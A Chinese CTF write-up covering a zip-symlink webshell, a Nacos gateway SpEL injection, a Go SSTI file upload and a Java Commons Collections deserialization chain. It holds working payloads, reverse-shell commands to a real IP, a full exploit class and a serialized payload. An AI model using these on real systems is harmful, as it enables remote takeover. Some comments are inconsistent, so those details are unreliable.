CTF实战:多场景漏洞利用与Java反序列化深度解析
本文记录了多个CTF赛题的解题过程,涵盖文件解压软链接利用、Nacos Gateway SpEL注入、Go SSTI上传webshell等技巧,并深度解析Java Commons Collections反序列化漏洞攻击链。
- 网络安全
- CTF
Unzip
题目描述

解题
unzip -o参数:不经提示直接覆盖已有文件
-
创建软链接
ln -s /var/www/html test -
压缩软链接,保留原本链接内容
zip --symlinks test.zip ./* -
上传文件
-
本地创建test目录(因为上面使用的是test,之后覆盖的时候也会覆盖test),并创建shell.php
<?php echo eval($_GET['a']);?> -
之后压缩test目录,再次上传
- 由于题目使用的是-o参数 ,解压同一个文件的时候会覆盖掉上次传的test文件,但是test文件指向的是/var/www/html目录,就回导致shell.php创建在/var/www/html目录下。
-
在url直接访问shell.php

backendService
nacos创建用户

使用新建的用户登陆

添加配置如下:
spring:
cloud:
gateway:
routes:
- id: exam
order: 0
uri: lb://service-provider
predicates:
- Path=/echo/**
filters:
- name: AddResponseHeader
args:
name: result
value: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"echo YmFzaCAtaSAmPiAvZGV2L3RjcC8zOS4xMDUuMTM0LjE5OS82NjY2IDA8JjE= | base64 -d | bash -i\"}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
YmFzaCAtaSAmPiAvZGV2L3RjcC8zOS4xMDUuMTM0LjE5OS82NjY2IDA8JjE=换成对应的服务器。
使用命令nc -lvnp 6666在服务器监听。

Go_session


可以利用ssti,这里可以查一下pongo的语法
构造数据包(这里用别人的了):
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.Referer())}} HTTP/1.1
Host: 10c4afc1-8310-4909-8c69-deb5db26d21e.challenge.ctf.show
Cookie: session-name=MTc1MjIzNjY2NXxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXxIuJZ_tujChWmB6KOtjoB3FbGxQ1aBtVNXYPNlA4E9bQ==
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
User-Agent: file
Referer: /app/server.py
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryUQT5N00lcNa5pAVX
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 360
------WebKitFormBoundaryUQT5N00lcNa5pAVX
Content-Disposition: form-data; name="file"; filename="1"
from flask import Flask
import os
app = Flask(__name__)
@app.route('/<cmd>')
def exp(cmd):
return os.popen(cmd).read()
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)
------WebKitFormBoundaryUQT5N00lcNa5pAVX--
// 危险的做法
tpl.Execute(pongo2.Context{“c”: c})由于这里传递了gin的context对象。所以我们能够使用,它上面有一个名为 SaveUploadedFile 的方法。
这个方法的作用是保存一个上传的文件。它通常需要两个参数:
- 参数1: 要保存的那个文件对象(
*multipart.FileHeader类型)。 - 参数2: 要把文件保存到哪里去的目标路径(
string类型)。
注意:一定要一次成功不然flask环境就崩溃了,最好详细检查一下代码的缩进问题。

之后通过flask的name参数调用env,查看环境变量:

deserbug
基础知识补充:
第一部分:这些零件是干什么的?
1. HashSet (哈希集)
- 它是干嘛的? 这是Java官方提供的一个最基础、最常用的数据结构。它的作用是存储不重复的元素,并且内部是无序的。你可以把它想象成一个“不记名投票箱”,你只能往里扔东西,不能重复扔,拿出来的时候顺序也是随机的。
- 关键特性(魔鬼细节): 当一个
HashSet对象被反序列化时(即从一堆字节数据恢复成一个Java对象),Java会自动调用它的readObject方法。在这个方法里,HashSet为了重建自己,会遍历它内部的每一个元素,并调用这个元素的hashCode()方法。这一点是整条攻击链的扳机!
2. TiedMapEntry (捆绑的Map条目)
- 它是干嘛的? 这是
Apache Commons Collections库里的一个类。它代表一个Map中的“键值对”(Entry)。它的特殊之处在于,它被“捆绑”到了另一个Map上。 - 关键特性(魔鬼细节): 这个类的
hashCode()方法被设计得很有趣。当TiedMapEntry的hashCode()方法被调用时,它会接着去调用它所“捆绑”的那个Map的get()方法。- 关系链 1: 调用
TiedMapEntry.hashCode()=> 会触发map.get(key)
- 关系链 1: 调用
3. ConstantTransformer (常量转换器)
- 它是干嘛的? 同样来自
Apache Commons Collections库。它是一个功能非常简单的“转换器”(Transformer)。你给它一个对象,它就把它存起来。无论将来你给它什么输入,调用它的transform()方法,它永远返回最初存的那个对象。 - 举例:
new ConstantTransformer(Runtime.class)创建了一个转换器,无论你调用transform("任何东西"),它永远返回Runtime.class这个对象。
4. LazyMap (懒加载Map)
- 为什么有
LazyMap? 它的正常用途是为了方便。它像一个“聪明的”Map。当你调用get(key)去取一个值时,如果这个key不存在,普通的Map会返回null。但LazyMap不会,它会用你预先提供的一个“工厂”(也就是一个Transformer)去动态创建一个值,然后把这个key-value存入Map,再返回这个新创建的值。 - 关键特性(魔鬼细节): 当
LazyMap的get(key)方法被调用,并且key不存在时,它会去调用它绑定的那个“工厂”Transformer的transform(key)方法。- 关系链 2: 调用
LazyMap.get(key)(当key不存在时) => 会触发transformer.transform(key)
- 关系链 2: 调用
第二部分:连接零件的胶水——Java反射
反射基础语法
反射是Java提供的一种在运行时动态地分析和操作类与对象的能力。程序可以在运行时“照镜子”,看到自己的内部结构(方法、字段等),并且可以调用它们。
核心三步曲:
-
获取类的“说明书” (
Class对象)// 方式一:通过类名 Class<?> runtimeClass = Class.forName("java.lang.Runtime"); // 方式二:通过类字面量 Class<?> stringClass = String.class; -
从“说明书”里找到具体的方法 (
Method对象) 你需要提供方法名和参数类型列表来精确定位一个方法。// 获取无参的 getRuntime 方法 Method getRuntimeMethod = runtimeClass.getMethod("getRuntime"); // 获取有一个String参数的 exec 方法 Method execMethod = runtimeClass.getMethod("exec", String.class); -
调用方法 (
invoke)invoke方法接收两个参数:要在哪个对象上调用此方法,以及要传递的实际参数。Java
// 1. 调用静态方法 getRuntime(),静态方法不需要对象实例,所以第一个参数是 null Object runtimeInstance = getRuntimeMethod.invoke(null); // 2. 在上一步得到的 runtimeInstance 对象上,调用 exec("calc") 方法 // 在Windows上会弹出计算器 execMethod.invoke(runtimeInstance, "calc");
小结: 反射就是我们最终想要执行的“有效载荷”(Payload),比如执行系统命令。而前面那些零件,就是为了最终能够触发这一串反射调用而精心设计的“多米诺骨牌”。
第三部分:魔鬼组合——它们为什么能连在一起?
现在,我们把所有零件和胶水组合起来,看看这条著名的Commons Collections反序列化攻击链是如何形成的。这就像一场完美的犯罪。
目标: 让服务器在反序列化我们的数据时,自动执行Runtime.getRuntime().exec("任意命令")。
作案步骤(构建多米诺骨牌):
- 准备最终的“炸药”: 我们用反射准备好要执行的命令。但我们不直接写代码,而是把这些反射操作包装在一连串的
Transformer里,形成一个ChainedTransformer(转换器链)。这个链条的最终效果就是执行系统命令。 - 准备“懒人”扳机 (
LazyMap): 创建一个LazyMap,并把上面那个ChainedTransformer作为它的“工厂”。现在,只要调用这个LazyMap.get("一个不存在的key"),我们的炸药就会被引爆。 - 准备“传话筒” (
TiedMapEntry): 创建一个TiedMapEntry,把上一步的LazyMap作为它“捆绑”的Map。现在,只要调用这个TiedMapEntry.hashCode(),就会触发LazyMap.get(),进而引爆炸药。 - 准备“遥控器” (
HashSet): 创建一个HashSet,把上一步的TiedMapEntry作为唯一的元素放进去。
引爆流程(推倒多米诺骨牌):
- [开始] 我们把构造好的
HashSet对象序列化(变成一堆字节),通过网络发送给服务器。 - 服务器接收到字节后,进行反序列化,尝试将它恢复成一个
HashSet对象。此时,HashSet.readObject()方法被自动调用。 - [第一块骨牌]
HashSet.readObject()为了恢复数据,调用了它唯一的元素——我们构造的TiedMapEntry——的hashCode()方法。 - [第二块骨牌]
TiedMapEntry.hashCode()被调用,它忠实地执行了自己的任务:去调用它绑定的LazyMap的get()方法。 - [第三块骨牌]
LazyMap.get()被调用,它发现要找的key不存在,于是它也忠实地执行了自己的任务:调用预设的“工厂”,也就是我们构造的那个ConstantTransformer的transform()方法。 - [引爆!]
ConstantTransformer.transform()被调用,它按顺序执行了我们预设的一系列反射操作,最终执行了Runtime.getRuntime().exec("我们的命令")。
整个流程就像一个自动装置:
反序列化 HashSet -> readObject() -> TiedMapEntry.hashCode() -> LazyMap.get() -> Transformer.transform() -> 执行任意代码

先给脚本吧:
import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class Test {
/**
* 生成恶意的字节码,其中包含反弹 shell 的命令。
* @return 包含恶意逻辑的类的字节码
* @throws Exception 如果 javassist 操作失败
*/
public static byte[] getEvilByteCode() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("ReverseShell"); // 定义一个类名
// 反弹 shell 命令,用于连接到 39.105.134.199 的 6666 端口。
// 为了避免特殊字符问题,原始命令 `bash -i >& /dev/tcp/39.105.134.199/6666 0>&1` 被 Base64 编码。
// 你必须在目标服务器上使用 `nc -lvp 4444` 来监听连接。
String b64Cmd = "YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuMTM0LjE5OS82NjY2IDA+JjE=";
String cmd = "java.lang.Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", \"echo " + b64Cmd + " | base64 -d | /bin/bash\"});";
// 将恶意命令插入到类的静态初始化块中,这样当类被加载时命令就会执行。
cc.makeClassInitializer().insertBefore(cmd);
// 设置一个符合 TemplatesImpl 利用链要求的父类。
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
// 获取最终的字节码。
return cc.toBytecode();
}
/**
* 使用反射设置对象的私有字段值。
* @param obj 要修改的对象
* @param fieldName 字段名
* @param value 要设置的值
* @throws Exception 如果反射操作失败
*/
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
/**
* 这是一个构造 HashSet 利用链的辅助函数。
* 它创建一个 HashSet,然后通过反射将一个精心构造的对象作为其内部 map 的 key。
* 这是为了在后续操作中触发该对象的 hashCode() 或 equals() 方法,从而启动整个利用链。
* @param obj 精心构造的、作为触发点的对象
* @return 包含触发对象的 HashSet
*/
public static HashSet getHashSet(Object obj) throws Exception {
HashSet<Object> hs = new HashSet<>(1);
hs.add("foo"); // 先添加一个元素,以初始化内部的 HashMap
// 通过反射获取 HashSet 内部的 HashMap
Field mapField = HashSet.class.getDeclaredField("map");
mapField.setAccessible(true);
HashMap<Object, Object> hashset_map = (HashMap<Object, Object>) mapField.get(hs);
// 通过反射获取 HashMap 内部的 table 数组
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] array = (Object[]) tableField.get(hashset_map);
// 找到刚才添加的 "foo" 元素对应的 Node
Object node = array[0];
if (node == null) {
for(Object item : array){
if(item != null){
node = item;
break;
}
}
}
// 通过反射将该 Node 的 key 替换为我们构造的恶意对象
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, obj);
return hs;
}
/**
* 将一个 Java 对象序列化并进行 Base64 编码。
* @param obj 要序列化的对象
* @return 对象的 Base64 字符串表示
* @throws IOException 如果序列化失败
*/
public static String getBase64Data(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
objectOutputStream.close();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void main(String[] args){
try {
// 1. 构造 TemplatesImpl 对象,这是利用链的执行核心
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getEvilByteCode()});
setFieldValue(obj, "_name", "whatever"); // _name 字段不能为空
// _tfactory 字段也需要设置,否则在某些 JDK 版本下会出错
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// 2. 构造 ChainedTransformer,但这里用了一个自定义的 Myexpect 来模拟类似效果
// 真正的 CC 链会用 ChainedTransformer,这里用 ConstantTransformer + 反射修改的方式
// 最终目的是调用 TemplatesImpl 的 newTransformer() 方法
Myexpect exp1 = new Myexpect();
exp1.setTypeparam(new Class[]{javax.xml.transform.Templates.class});
exp1.setTypearg(new Object[]{obj});
exp1.setTargetclass(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class);
// 3. 将我们的恶意执行逻辑包装进 ConstantTransformer
JSONObject jo = new JSONObject();
jo.put("1","2");
ConstantTransformer constantTransformer = new ConstantTransformer(1);
setFieldValue(constantTransformer,"iConstant", exp1); // 通过反射将 Myexpect 对象设置为 "常量"
// 4. 使用 LazyMap 来包装我们的 Transformer,当访问不存在的 key 时,会触发 Transformer
Map lazyMap = LazyMap.decorate(jo, constantTransformer);
// 5. 使用 TiedMapEntry 将 LazyMap 和一个 key 绑定,当这个 TiedMapEntry 的 hashCode 被调用时,会触发 LazyMap
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");
// 6. 构造最终的 HashSet,它在反序列化时会触发 TiedMapEntry 的 hashCode
HashSet hs = getHashSet(tiedMapEntry);
// 7. 这一步是为了在本机直接触发,而不是通过反序列化。
// 在真实的攻击场景中,我们不会执行这一步,而是将 hs 对象序列化后发送给受害者。
// lazyMap.remove("test1"); // 移除一个不存在的key,触发LazyMap
// 8. 将构造好的恶意 HashSet 对象序列化并编码为 Base64,准备发送
System.out.println("--- Payload Base64 ---");
System.out.println(getBase64Data(hs));
System.out.println("--- Payload End ---");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Payload:
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQABXRlc3Qxc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHEAfgADeHBzcgAQY29tLmFwcC5NeWV4cGVjdHB68cMKrfXBAgAFTAAJYW55ZXhjZXB0dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEbmFtZXEAfgANTAALdGFyZ2V0Y2xhc3N0ABFMamF2YS9sYW5nL0NsYXNzO1sAB3R5cGVhcmd0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwAJdHlwZXBhcmFtdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHIAE2phdmEubGFuZy5FeGNlcHRpb27Q/R8+GjscxAIAAHhyABNqYXZhLmxhbmcuVGhyb3dhYmxl1cY1Jzl3uMsDAARMAAVjYXVzZXQAFUxqYXZhL2xhbmcvVGhyb3dhYmxlO0wADWRldGFpbE1lc3NhZ2VxAH4ADVsACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAWcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgANTAAIZmlsZU5hbWVxAH4ADUwACm1ldGhvZE5hbWVxAH4ADXhwAAAAe3QABFRlc3R0AAlUZXN0LmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+ABV4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AI3hwcHZyADdjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UckFYRmlsdGVyAAAAAAAAAAAAAAB4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAQTAAFX25hbWVxAH4ADUwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAACPMr+ur4AAAA0ACEBAAxSZXZlcnNlU2hlbGwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAEVJldmVyc2VTaGVsbC5qYXZhAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlAQARamF2YS9sYW5nL1J1bnRpbWUHAAoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAMAA0KAAsADgEAEGphdmEvbGFuZy9TdHJpbmcHABABAAkvYmluL2Jhc2gIABIBAAItYwgAFAEAWWVjaG8gWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4ek9TNHhNRFV1TVRNMExqRTVPUzgyTmpZMklEQStKakU9IHwgYmFzZTY0IC1kIHwgL2Jpbi9iYXNoCAAWAQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABgAGQoACwAaAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAHAEABjxpbml0PgwAHgAICgAdAB8AIQACAB0AAAAAAAIACAAHAAgAAQAJAAAAJwAFAAAAAAAbuAAPBr0AEVkDEhNTWQQSFVNZBRIXU7YAG1exAAAAAAABAB4ACAABAAkAAAARAAEAAQAAAAUqtwAgsQAAAAAAAQAFAAAAAgAGcHQACHdoYXRldmVycHcBAHh1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwc3IAGWNuLmh1dG9vbC5qc29uLkpTT05PYmplY3T7atJOYQ3KdgIAAUwABmNvbmZpZ3QAG0xjbi9odXRvb2wvanNvbi9KU09OQ29uZmlnO3hyAB1jbi5odXRvb2wuY29yZS5tYXAuTWFwV3JhcHBlcpeTVCNBX7dyAwABTAADcmF3cQB+AAR4cHNyABdqYXZhLnV0aWwuTGlua2VkSGFzaE1hcDTATlwQbMD7AgABWgALYWNjZXNzT3JkZXJ4cgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAXQAATF0AAEyeABxAH4AO3hzcgAZY24uaHV0b29sLmpzb24uSlNPTkNvbmZpZwGpXh+qz0zmAgAIWgAOY2hlY2tEdXBsaWNhdGVaAAppZ25vcmVDYXNlWgALaWdub3JlRXJyb3JaAA9pZ25vcmVOdWxsVmFsdWVaABJzdHJpcFRyYWlsaW5nWmVyb3NaABB0cmFuc2llbnRTdXBwb3J0TAAKZGF0ZUZvcm1hdHEAfgANTAANa2V5Q29tcGFyYXRvcnQAFkxqYXZhL3V0aWwvQ29tcGFyYXRvcjt4cAAAAAEBAXBweHg=


留言讨论
0 条留言
正在加载留言...